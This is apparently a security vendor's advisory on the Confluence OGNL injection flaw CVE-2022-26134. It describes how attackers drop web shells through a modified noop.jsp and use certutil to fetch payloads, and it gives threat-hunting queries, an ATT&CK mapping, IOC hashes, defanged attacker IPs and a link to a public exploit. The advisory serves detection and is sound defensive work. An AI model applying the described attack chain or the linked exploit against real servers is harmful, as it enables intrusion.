Description
On 02 June 2022 Atlassian released an advisory for a critical OGNL injection vulnerability in their Confluence product that allows for Remote Code Execution (RCE).
This vulnerability allows for arbitrary code execution on an accessible endpoint hosting Confluence via specially crafted web request.
Exploitation of this vulnerability is simple and there are multiple POC code samples available to exploit it[1][2][3], for more information on this vulnerability see Volexity blog post: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/.
This vulnerability is currently being used by numerous threat actors as an alternative initial access method and is rapidly being substituted into existing campaigns.
Currently FortiEDR does not provide protection against direct exploitation of this vulnerability but will detect post-exploitation activity, including all currently tracked post-exploitation TTPs.
Stopping post-exploitation activity still effectively mitigates the adversary from achieving their actions on objectives.
This keeps everybody's data safe, and minimized the impact of these attacks on availability.
These post exploitation TTPs can be broken down into a number of categories:
1) RCE used for staging known web shells (i.e. Behinder and China Chopper).
Figure 1. Attack chain using the Confluence RCE to stage web shells and then perform post-exploitation activity
2) RCE used for execution of LOLBINs (Live off the land binaries) such as certutil.
Figure 2. Attack chain using the Confluence RCE to directly perform post-exploitation activity.
Both of these types of post-exploitation activity have been observed in the wild and both are effectively mitigated by existing FortiEDR security policies.
Protections against this type of post exploitation behaviour should be present in all modern EDR solutions and provide protection against majority of RCE vulnerabilities present in web applications over the last few years.
RCE used for staging web shells.
This is the primary type of post exploitation activity reported by Volexity.
In this scenario attackers use the RCE access to modify an existing web shell or to write simple web shells to directories that will be served by the Confluence webserver.
The attackers will then use these web shells for C2.
This type of post-exploitation activity is similar to previous web application based vulnerabilities of the last few years including the Exchange vulnerabilities last year and the Telerik vulnerability in 2019. FortiEDR threat hunting can be used to identify suspicious file creation events and FortiEDR security policies will detect and block attempts to use web shell access to download additional tools and perform post-exploitation activity.
In the scenario below, the original noop.jsp file has been replaced with a webpage that enables file upload. A comparison of the original (default) noop webpage is shown next to the new page in Figure
Figure 3. Comparison of original ‘noop.jsp’ webpage and modified ‘noop.jsp’ file with file upload capability.
Files uploaded through this new webpage will be created by the webserver process that supports the Confluence application.
In the case of a Windows installation of Confluence this webserver is an Apache Tomcat 9 process which means the hosting process is ‘tomcat9.exe’ running from the '<Program Files>\Atlassian\Confluence\bin' folder.
Confluence does not write jsp webpages as part of it standard operation so it is possible to write a simple Threat Hunting query that flags new ‘File Create’ events where the ‘Source Process’ is ‘tomcat9.exe’ and the created files file extension is ‘jsp’ with minimal false positives.
An example of a file create event for a new web shell is shown below in Figure 4. Running this query as a ‘Scheduled Query’ through FortiEDR will provide alerts when a potential new web shell is created.
Note that the path to the Confluence tomcat9.exe executable may need to be provided if a separate tomcat9.exe process is running on the endpoint.
Figure 4. Sample Threat Hunting telemetry associated with creation of a web shell through the modified noop.jsp page modified through Confluence vulnerability.
Web shells dropped through this method will still be hosted by the Confluence webserver.
This means that subsequent web shell activity will originate from the same tomcat9.exe process. The queries in the next section can also be used to identify events associated with this subsequent web shell activity.
RCE used for execution of LOLBINs (Live off the land binaries) such as certutil.
The second attack chain highlighted above that incorporates this vulnerability is much simpler and involves simply using LOLBINs directly through RCE access.
Actors are able to use simple LOLBINs like certutil to download further payloads or wmic to perform reconnaissance and payload execution.
Similar to the above Threat Hunting queries it is possible to look for anomalous ‘Process Creation’ events where the Source process is tomcat9.exe.
During normal operation of the Confluence application we wouldn’t expect LOLBIN child processes so it is possible to use this query as a scheduled query to create alerts for potential post-exploitation activity.
An example of some sample LOLBIN child processes and the equivalent search are shown below in Figure 5.
Figure 5. Sample Threat Hunting telemetry associated with anomalous child processes spawned from the tomcat9 process.
This type of post-exploitation activity can vary greatly, FortiEDR aims to provide protection from malicious activity associated with LOLBINs usage.
This coverage is through security events which provides protections as well as detection coverage. For example, see below (Figure 6) a security event generated when certutil is used to download an executable from an external address.
In ‘Protect mode’ FortiEDR will mitigate this activity and alert SOC analysts to potential activity originating from the webserver process.
Figure 6. FortiEDR will block post-exploitation activity typically employed by actors through web shell access, in this case FortiEDR applied a simulated block on the certutil LOLBIN attempting to download an external binary.
Conclusion.
This vulnerability provides a consistent initial access pathway for Threat Actors, however this behaviour can be detected using simple telemetry checks and has existing patches/workarounds provided by Atlassian.
In the first instance vulnerable endpoints should be hardened per Atlassian advisory instructions available here: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html.
Despite this vulnerability providing a potent initial access pathway it should not provide a clear pathway to an actor’s actions on objectives.
A solid EDR solution like FortiEDR will stop attackers impacting endpoints even with zero day RCE vulnerabilities like this.
FortiEDR customers are protected from currently observed ITW post-exploitation activity associated with this vulnerability and can increase visibility on exploitation by employing the threat hunting queries provided below as scheduled queries.
Threat Hunting.
Detect web shell creation from the tomcat9 process.
This matches post-exploitation behaviour associated with the modification of the default ‘noop.jsp’ webpage to serve as a simple file uploader.
Type:"File Create" AND Source.Process.Name:"tomcat9.exe" AND Target.File.Ext:"jsp"
Detect child process creation from the tomcat9.exe process.
This query can be used to detect post-exploitation from any activity originating from the tomcat9.exe process.
This will likely identify post exploitation activity associated with any of the attack chains outlined in Figure 1-3.
Type:"Process Creation" AND Source.Process.Path:"\\Atlassian\\Confluence\\bin\\tomcat9.exe"
Detect file write events generated from the tomcat9.exe process modifying jsp processes.
This will detect any attempts to modify existing webpages to include web shell functionality or file upload functionality (like that described above with noop.jsp).
Type:"File Write" AND Source.Process.Name:"tomcat9.exe" AND Target.File.Ext:"jsp"
MITRE ATT&CK.
TA0001 – Initial Access.
|
Technique ID |
Technique Description |
Observed Activity |
|
T1190 |
Exploit Public-Facing Application |
This vulnerability targets public facing endpoints hosting vulnerable versions of the Confluence application. Vulnerable versions can be tracked through the Atlassian advisory available here: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html |
|
Technique ID |
Technique Description |
Observed Activity |
|
T1505.003 |
Server Software Component: Web Shell |
Threat Actors have been observed dropping various different web shells including behinder and china chopper shells following successful exploitation of this vulnerability. |
TA0002 – Execution
|
Technique ID |
Technique Description |
Observed Activity |
|
T1059.007 |
Command and Scripting Interpreter: JavaScript |
The modified version of ‘noop.jsp’ contains JavaScript used for file upload. |
TA0003 - Persistence
|
Technique ID |
Technique Description |
Observed Activity |
|
T1505.003 |
Server Software Component: Web Shell |
The actor used various web shells as their C2 method and their execution path. |
TA0004 – Privilege Escalation
|
Technique ID |
Technique Description |
Observed Activity |
|
T1068 |
Exploitation for Privilege Escalation |
The webserver (tomcat9.exe) running in support of the Confluence application runs in the ‘nt authority\network service’ context. This is a privileged account. |
TA0005 – Defensive Evasion
|
Technique ID |
Technique Description |
Observed Activity |
|
T1036.005 |
Masquerading: Match Legitimate Name or Location |
Threat Actors have been observed appending simple file upload functionality to the contents of the ‘noop.jsp’ webpage. This webpage is a default part of a Confluence installation. Appending this functionality will allow a ‘fallback’ method for the adversary to regain access if they lose their webshells and allows them to hide amongst ‘legitimate’ traffic. |
Associated IOCs
|
Indicator Description |
Indicator |
Indicator Type |
Associated Tactic |
Notes |
|
Modified noop.jsp hash associated with CVE-2022-26134 |
5d52b3dd59511464def4b90c01d03383fcc8fb63 |
SHA1 Hash |
Command and Control, Persistence |
|
|
Modified noop.jsp hash associated with CVE-2022-26134 |
4c02c3a150de6b70d6fca584c29888202cc1deef |
SHA1 Hash |
Command and Control, Persistence |
Initially identified by Volexity |
|
Modified noop.jsp hash associated with CVE-2022-26134 |
06104dcfd91cae342072fb6b358457cfe0573d8f |
SHA1 Hash |
Command and Control, Persistence |
|
|
IP address observed attempting to exploit CVE-2022-26134 |
156[.]146.56.136 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
154[.]146.34.145 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
154[.]16.105.147 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
156[.]146.34.46 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
156[.]146.34.52 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
156[.]146.34.9 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
198[.]147.22.148 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
221[.]178.126.244 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
45[.]43.19.91 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
59[.]163.248.170 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
64[.]64.228.239 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
66[.]115.182.102 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
66[.]115.182.111 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
67[.]149.61.16 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
|
IP address observed attempting to exploit CVE-2022-26134 |
98[.]32.230.38 |
IP Address |
Initial Access |
IP address associated with initial access attempts using CVE-2022-26134 exploit |
[1] https://github.com/shamo0/CVE-2022-26134
